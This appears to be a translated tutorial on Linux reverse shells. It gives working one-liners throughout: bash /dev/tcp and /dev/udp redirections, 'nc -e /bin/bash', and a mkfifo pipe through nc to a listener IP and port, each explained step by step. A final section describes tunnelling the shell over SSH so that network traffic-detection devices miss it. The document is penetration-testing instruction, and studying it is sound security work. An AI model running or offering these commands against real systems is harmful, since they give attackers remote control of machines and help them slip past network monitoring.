
Pure BASH method
The /dev/tcp/ip/port in the following text is a virtual file defined by bash, this file generally does not exist on the disk, details can be referred to the bash man manual. Its specific operation method is, first execute the following command on the server end:
- nc -l -p port
Then execute the following command on the client end:
- bash -i >&/dev/tcp/ip/port 2>&1 0>&1
Command explanation:
- First, start a bash in interactive mode (-i parameter)
- Then redirect standard output/standard error output/standard input to /dev/tcp/ip/port machine
The effect is as follows:
Note: This kind of shell bounce method is applicable to tcp connection, udp method cannot work properly.
The variant of the above command is as follows:
- exec 5<>/dev/tcp/ip/port
- cat <&5 | while read line; do $line 2>&5 >&5; done
The effect is as follows:

Refer to this variant, we can write a udp version of the shell bounce command:
- exec 5<>/dev/udp/ip/port
- echo >&5 && (cat <&5|while read line;do $line >&5 2>&5;done)
The effect is as follows:
Note: The echo >&5 at the beginning of the above command cannot be omitted. The specific reason is as follows.
Because UDP is stateless and unconnected, so when the listening end (server end) has not received any messages, it does not know who will send data. In UDP programming, the common writing is:
- struct sockaddr_in client_addr;
- while(1){
- ....
- recvfrom(fd, buf, BUFF_LEN, 0, (struct sockaddr*)&client_addr, &len);
- ....
- }
Some irrelevant variable declarations are omitted, the most important thing above is, recvfrom will fill a sockaddr_in structure while receiving buf, this structure records the network address information of the client (that is, the one which will be controlled). So, if there is no echo >&5 at the beginning, this structure will not be filled, and the final result is that the control end does not know who to send the control command (id command) to.
OK, continue to write variants, the above command is equivalent to:
- exec 5<>/dev/udp/ip/port
- echo >&5 && sh 0<&5 1>&5 2>&5
The effect is as follows:

To sum up, the above versions, theoretically all support tcp. The udp version is just for demonstrating UDP.
NC method
Well-known method:
- nc ip port -e /bin/bash
The above writing is tcp only.
When using nc, you may encounter nc that does not support the -e parameter. In this case, you can use the following method to achieve the same effect. This trick requires the mkfifo or mknod command in the coreutils package.
- mkfifo pipe; cat pipe|bash -i 2>&1|nc ip port > pipe
This command is a bit tricky, let me explain:
- First, mkfifo creates a first-in-first-out device named pipe.
- Then cat pipe tries to read the data from the device, because there is no data now, so this command will block here.
- If there is data coming in pipe, then use bash to execute this command.
- Finally, the execution result of the previous step bash is sent to the ip port through nc, and the output result is sent back to the pipe device.
Note (knock on the blackboard), the tricky place is coming. The last step above, nc’s output will be sent to pipe, so where does nc’s output come from? The answer is, nc’s output comes from the input of the connected target ip, which is the command we want to execute.
Note (continue to knock on the blackboard), the tricky place two, don’t think that the above command is executed in sequence, in fact, the above instructions are executed in parallel.
There is also an additional knowledge point, whether it is the pipe symbol |, or the mkpipe command, both use the Linux pipefs file system. The difference is that using | creates an anonymous pipe, and using the mkfifo command creates a named pipe, and named pipes allow multiple processes or threads to use at the same time.
Based on the above explanation, we re-understand the above command (here I assume you understand the fork mechanism):
- Bash will create 3 pipes, mkfifo’s named pipe A, cat command to bash’s anonymous pipe B, and bash to nc command’s anonymous pipe C
- The input of the Cat command comes from pipe A, and the output is redirected to pipe B
- Bash’s input comes from pipe B, and the output is redirected to pipe C
- Nc’s input comes from pipe C, and the output is redirected to pipe A
- Bash will fork three times, each forked subprocess will execute cat/bash/nc command, note that it is executed at the same time
- So, the input pipe A of the cat command will be blocked because there is no content. The input pipe C of the nc command also has no content, and it will also be blocked after connecting to the control ip.
- When we enter the id command on the control ip machine, because this input is nc’s output, so the id command will enter nc’s output pipe A
- It’s easy to understand after that, right?
After understanding the above principles, we can easily write out the nc version of the udp bounce shell:
- mkfifo pipe;cat pipe|bash -i 2>&1|nc -u 172.17.0.1 8000 > pipe
Note: The -i parameter in the udp version bash command cannot be omitted, because the -i parameter will cause bash to have an output, and the effect of this output is equivalent to the echo command above
Execution effect:

In addition to the mkfifo command, the coreutils package also provides another command, which can also create a FIFO type pipe, as follows:
- mknod <file name> p
Specifically, you can refer to the mknod man manual, this command can also create other types of block devices.
Use SSH to hide the traffic of the bounce shell
Sometimes, some traffic detection devices will be deployed on the network boundary, which will cause our bounce shell to be detected, and then the link will be directly reset by these devices. This requires us to encrypt the tunnel traffic to bypass these devices.
The following introduces the method of using ssh to tunnel.
Forward tunnel
The so-called forward tunnel refers to the controlled end actively initiating a connection to the control end, thereby achieving the situation where the control end controls the controlled end. First, hit a tunnel first:
- ssh -fN -L <local IP address>:<local port>:<remote address>:<remote port> <username>@<remote address>
This command will listen on the local port of the local IP address, and all data sent to the local port will be forwarded to the remote port of the remote address through the ssh tunnel.
Note: The remote address needs tools such as NC to listen to the specific port, and this port needs to be open when executing this command.
Then use any method in the first half of this article (except for the udp method) to get the shell of the controlled end on the listening port of the main control end. Effect screenshot:

Reverse tunnel
As the name suggests, the reverse tunnel refers to the main control end actively initiating a connection to the controlled end, and the controlled end accepts the control of the main control end. Still hit a tunnel first:
- ssh -fN -R <remote machine’s listening address>:<remote port>:<local machine’s listening address>:<local port user>@<remote machine address>
The meaning of this command is:
Connect to the remote machine address, then open the remote port on the listening address of the remote machine, and then send the data on the remote port of the remote machine’s listening address, all will be forwarded to the local port of the local machine’s listening address.
The effect is as follows:
